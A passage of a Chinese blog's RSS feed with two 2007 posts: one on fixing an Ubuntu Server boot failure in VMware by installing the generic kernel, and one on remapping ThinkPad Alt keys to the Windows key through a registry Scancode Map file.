]]></description><guid>http://www.i170.com/Article/91984</guid><trackback:ping>http://www.i170.com/Article/91984/trackback</trackback:ping><comments>http://www.i170.com/Article/91984#comment</comments><wfw:commentRss>http://www.i170.com/Article/91984/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/84048</link><title><![CDATA[IBM thinkpad T42的破机上用虚拟机装Ubuntu-server,浪费了几个小时,终于找到原因了]]></title><author>john</author><category></category><pubDate>Wed, 08 Aug 2007 00:14:38  +0800</pubDate><description><![CDATA[<p>&nbsp; 今天在vmware server 上安装了Ubuntu Server
6.10。安装一切顺利，但无法启动。提示<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
"Unknown interrupt or fault at EIP 00000060 c0100295 00000294"。<br>
网上搜了一下，原来是server
kernel在编译时打开了HIGHMEM64G支持，需要CPU支持PAE才行。试了他们的方法可以解决步骤如下：<br>
<br>
使用ubuntu server安装光盘启动，选择"Rescue a broken
system"选项，然后进行配置，在进行到"Rescue operations"的时候，选择"Execute a shell in
/dev/hda1"(后面的路径会根据你的根分区而有所不同)，然后运行"apt-get install
linux-686"，也就是安装新的generic内核（要有耐心速度相当慢），安装完成重启就OK了。</p>

]]></description><guid>http://www.i170.com/Article/84048</guid><trackback:ping>http://www.i170.com/Article/84048/trackback</trackback:ping><comments>http://www.i170.com/Article/84048#comment</comments><wfw:commentRss>http://www.i170.com/Article/84048/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/83885</link><title><![CDATA[imb thinkpad win 键的烦恼 zz]]></title><author>john</author><category>乱弹琴</category><pubDate>Mon, 06 Aug 2007 22:33:31  +0800</pubDate><description><![CDATA[<p>通过注册表来修改键位的方法<br>
&nbsp;&nbsp;<br>
Keyboard Customizer
Utility虽然提供win键的功能，但可选项太少。如果直接改注册表，就可以将任意键定义成其它键。<br>
&nbsp;&nbsp;<br>
将以下等号间的文字copy到记事本中，存为.reg文件，再导入注册表，重启动，就可以实现将右Alt键定义为左Win键的功能(对2000及XP有效)<br>

&nbsp;&nbsp;<br>
===================================================<br>
Windows Registry Editor Version 5.00<br>
&nbsp;&nbsp;<br>
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard
Layout]<br>
"Scancode Map"=hex:00,00,00,00,00,00,00,00,\<br>
02,00,00,00,\<br>
5b,e0,38,e0,\<br>
00,00,00,00<br>
===================================================<br>
&nbsp;&nbsp;<br>
解释一下<br>
Value&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Interpretation&nbsp;&nbsp;<br>
0x00000000&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; Header: Version.
Set to all zeroes.&nbsp;&nbsp;<br>
0x00000000&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; Header: Flags.
Set to all zeroes.&nbsp;&nbsp;<br>
0x00000002&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; Two entries in
the map (including null entry).&nbsp;&nbsp;<br>
0xE038E05B&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; Right ALT key
--&amp;gt; Windows key (0xE038 --&amp;gt; 0xE05B).&nbsp;&nbsp;<br>
0x00000000&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; Null
terminator.&nbsp;&nbsp;<br>
&nbsp;&nbsp;<br>
比较一下将左Alt键定义为左Win键的功能的注册表文件吧<br>
===================================================<br>
Windows Registry Editor Version 5.00<br>
&nbsp;&nbsp;<br>
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard
Layout]<br>
"Scancode Map"=hex:00,00,00,00,00,00,00,00,\<br>
02,00,00,00,\<br>
5b,e0,38,00,\<br>
00,00,00,00<br>
===================================================<br>
就是右alt键的scancode:e038变成了左alt键的scancode:0038<br>
&nbsp;&nbsp;<br>
大家自己想怎么改，就自己试吧<br>
各个键位的scancode map在这儿下载:&nbsp;&nbsp;<br>
http://download.microsoft.com/download/whistler/hwdev3/1.0/WXP/EN-US/scancode.exe<br>

&nbsp;&nbsp;<br>
以上方法对ps2键盘有效，usb键盘的scancode map跟ps2键盘不一样，对照表在这儿：<br>
http://www.microsoft.com/hwdev/download/tech/input/translate.pdf</p>

]]></description><guid>http://www.i170.com/Article/83885</guid><trackback:ping>http://www.i170.com/Article/83885/trackback</trackback:ping><comments>http://www.i170.com/Article/83885#comment</comments><wfw:commentRss>http://www.i170.com/Article/83885/commentRss</wfw:commentRss></item> </channel></rss>